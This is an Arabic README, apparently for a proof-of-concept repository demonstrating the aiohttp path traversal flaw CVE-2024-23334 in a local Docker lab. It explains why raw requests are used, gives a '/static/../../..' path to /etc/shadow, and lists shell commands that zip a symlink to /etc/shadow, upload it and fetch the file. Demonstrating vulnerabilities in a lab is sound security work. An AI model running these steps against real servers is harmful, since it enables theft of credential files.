
يحتوي هذا المستودع على دليل مفهوم حول استغلال مكتبة aiohttp للثغرة المبلغ عنها CVE-2024-23334.
يحتوي هذا المستودع على إثبات مفهوم حول استغلال مكتبة aiohttp للثغرة المُبلّغ عنها CVE-2024-23334.
تم إنشاؤه لسببين:
لمزيد من المعلومات، قم بزيارة موقعي: https://brianre.dev/
make build
make run
إذا كنت ترغب في تشغيل docker في الوضع المنفصل، فقط قم بتشغيل:
make rund
python3 exploits/exploit_path_traversal.py
بتشغيل البرنامج النصي، نقوم بإجراء طلب HTTP خام إلى الخادم. نفعل ذلك بهذه الطريقة وليس باستخدام curl أو الوصول مباشرة من المتصفح لأن هذه الأدوات تتضمن تعقيمًا وتطبيعًا لعناوين URL قبل إرسال طلب HTTP. يشمل ذلك تطبيع المسار: أدوات مثل curl والمتصفحات ستقوم بمعالجة مسار URL، وإزالة التسلسلات مثل .. المستخدمة لاجتياز الدليل. لذلك، مسار مثل /static/../../../../../../../../../../../../etc/shadow سيتم تطبيعه إلى /etc/shadow، وبما أن هذا المسار لا يوجد عادة كمورد على خادم ويب قياسي، فإنه يؤدي إلى خطأ 404.
/etc/shadow. هذا السيناريو هو الأكثر استبعادًا، ولكن ربما يمكن لشخص من داخل الشركة تسريب معلومات باستخدامه وقد لا يفحص الأشخاص سجلات الملفات الثابتة. وفي حالة عدم تسجيل الوصول إلى الملفات الثابتة، يصعب جدًا تحديد وقت تسريبها.السيناريو الذي تم إنشاؤه في هذا المستودع هو فقط لشرح الثغرة وإثبات أنها موجودة ولا تزال قابلة للاستغلال.
/etc/shadow.الطريقة هي باستخدام ملف مضغوط، بحيث نتمكن من تحميل الرابط الرمزي، وعند فك ضغطه على الخادم، ينشئ نفس الرابط الرمزي. تحميل رابط رمزي مباشرة عبر curl كملف link.jpeg سيقرأ الملف المحلي الذي يشير إليه الرابط الرمزي وسيقوم بتحميل الملف الأصلي بدلاً من ذلك. لذلك، إذا أردنا استهداف مسار معين في نظام ملفات الخادم، يجب أن نتمكن من تحميل ملف مضغوط، مثل .zip أو .tar.gz.
لإعادة إنتاج هذا السيناريو الثاني، اتبع هذه الخطوات:
touch /etc/shadow # It creates a file on your machine on the specified directory. Be sure that you don't replace an existing file.
ln -s /etc/shadow exploit.jpeg # Creates a symlink with the /etc/shadow file and name it exploit.jpeg
zip -y images.zip exploit.jpeg # Zip the symlink
curl -X POST -F "[email protected]" http://localhost:8080/upload # Upload the zip file
curl -o shadow.txt http://localhost:8080/static/exploit.jpeg # Access the symlink and, because aiohttp has the vulnerability, it returns the /etc/shadow from the server.
TODO
لإعداد المشروع محليًا للتطوير، يجب عليك:
python3 -m venv env
pip3 install -r requirements.txt
pip3 install -r test-requirements.txt